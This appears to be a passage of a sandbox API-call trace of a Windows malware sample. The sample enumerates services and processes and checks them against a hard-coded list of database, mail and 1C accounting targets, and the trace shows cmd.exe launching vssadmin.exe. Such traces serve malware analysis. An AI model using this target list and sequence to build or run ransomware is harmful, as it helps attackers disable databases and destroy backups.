lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0059.499] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0059.499] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0059.499] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0059.499] lstrlenW (lpString="UxSms") returned 5 [0059.499] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0059.499] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0059.500] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0059.500] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0059.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0059.500] lstrlenW (lpString="VSS") returned 3 [0059.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0059.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0059.500] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0059.500] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0059.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0059.500] lstrlenW (lpString="WdiServiceHost") returned 14 [0059.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0059.500] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0059.500] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0059.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0059.500] lstrlenW (lpString="WdiSystemHost") returned 13 [0059.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0059.500] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0059.500] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0059.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0059.500] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0059.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.500] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0059.500] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0059.500] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0059.500] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0059.500] lstrlenW (lpString="Winmgmt") returned 7 [0059.500] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0059.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0059.501] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0059.501] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0059.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0059.501] lstrlenW (lpString="WPDBusEnum") returned 10 [0059.501] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.501] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0059.501] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0059.501] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0059.501] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0059.501] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x60eb98 | out: hHeap=0x510000) returned 1 [0059.501] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x220 [0059.504] Process32FirstW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0059.504] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0059.504] lstrlenW (lpString="System") returned 6 [0059.504] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0059.504] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0059.504] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0059.504] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0059.504] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0059.505] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0059.505] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0059.505] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0059.505] lstrlenW (lpString="smss.exe") returned 8 [0059.505] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0059.505] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0059.505] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0059.505] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0059.505] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0059.505] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0059.505] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0059.505] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.506] lstrlenW (lpString="csrss.exe") returned 9 [0059.506] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0059.506] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0059.506] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0059.506] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0059.506] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0059.506] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0059.506] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0059.506] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0059.506] lstrlenW (lpString="wininit.exe") returned 11 [0059.506] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0059.506] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0059.506] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0059.507] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0059.507] lstrlenW (lpString="csrss.exe") returned 9 [0059.507] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0059.508] lstrlenW (lpString="winlogon.exe") returned 12 [0059.508] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0059.508] lstrlenW (lpString="services.exe") returned 12 [0059.508] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0059.509] lstrlenW (lpString="lsass.exe") returned 9 [0059.509] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0059.509] lstrlenW (lpString="lsm.exe") returned 7 [0059.509] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.509] lstrlenW (lpString="svchost.exe") returned 11 [0059.510] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.510] lstrlenW (lpString="svchost.exe") returned 11 [0059.510] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.510] lstrlenW (lpString="svchost.exe") returned 11 [0059.510] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.511] lstrlenW (lpString="svchost.exe") returned 11 [0059.511] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.511] lstrlenW (lpString="svchost.exe") returned 11 [0059.511] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0059.512] lstrlenW (lpString="audiodg.exe") returned 11 [0059.512] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.512] lstrlenW (lpString="svchost.exe") returned 11 [0059.512] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.512] lstrlenW (lpString="svchost.exe") returned 11 [0059.512] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0059.513] lstrlenW (lpString="dwm.exe") returned 7 [0059.513] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0059.513] lstrlenW (lpString="explorer.exe") returned 12 [0059.513] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0059.514] lstrlenW (lpString="spoolsv.exe") returned 11 [0059.514] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.514] lstrlenW (lpString="taskhost.exe") returned 12 [0059.514] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.514] lstrlenW (lpString="svchost.exe") returned 11 [0059.514] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0059.515] lstrlenW (lpString="taskeng.exe") returned 11 [0059.515] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0059.515] lstrlenW (lpString="taskhost.exe") returned 12 [0059.515] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0059.516] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0059.516] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0059.516] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0059.516] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0059.517] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0059.517] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0059.517] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0059.517] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0059.517] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0059.517] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0059.518] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0059.518] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0059.518] lstrlenW (lpString="toyota.exe") returned 10 [0059.518] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0059.519] lstrlenW (lpString="radiation.exe") returned 13 [0059.519] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0059.519] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0059.519] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0059.520] lstrlenW (lpString="ur illustration.exe") returned 19 [0059.520] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0059.520] lstrlenW (lpString="facing.exe") returned 10 [0059.520] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0059.520] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0059.520] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0059.521] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0059.521] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0059.521] lstrlenW (lpString="headline.exe") returned 12 [0059.521] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0059.593] lstrlenW (lpString="army_unsigned.exe") returned 17 [0059.615] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0059.630] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0059.630] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0059.630] lstrlenW (lpString="distribution-gif.exe") returned 20 [0059.630] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0059.632] lstrlenW (lpString="tribunal.exe") returned 12 [0059.632] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0059.632] lstrlenW (lpString="aafeof.exe") returned 10 [0059.632] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0059.633] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0059.633] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0059.633] lstrlenW (lpString="encryption.exe") returned 14 [0059.633] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0059.633] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0059.633] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0059.634] lstrlenW (lpString="1с_.exe") returned 7 [0059.634] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0059.634] lstrlenW (lpString="cmd.exe") returned 7 [0059.634] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0059.634] lstrlenW (lpString="conhost.exe") returned 11 [0059.634] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0059.635] lstrlenW (lpString="vssadmin.exe") returned 12 [0059.635] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0059.635] lstrlenW (lpString="VSSVC.exe") returned 9 [0059.635] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0059.635] lstrlenW (lpString="svchost.exe") returned 11 [0059.635] Process32NextW (in: hSnapshot=0x220, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0059.636] CloseHandle (hObject=0x220) returned 1 [0059.636] Sleep (dwMilliseconds=0x1f4) [0060.963] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x590050 [0060.964] EnumServicesStatusExW (in: hSCManager=0x590050, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0060.964] GetLastError () returned 0xea [0060.965] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 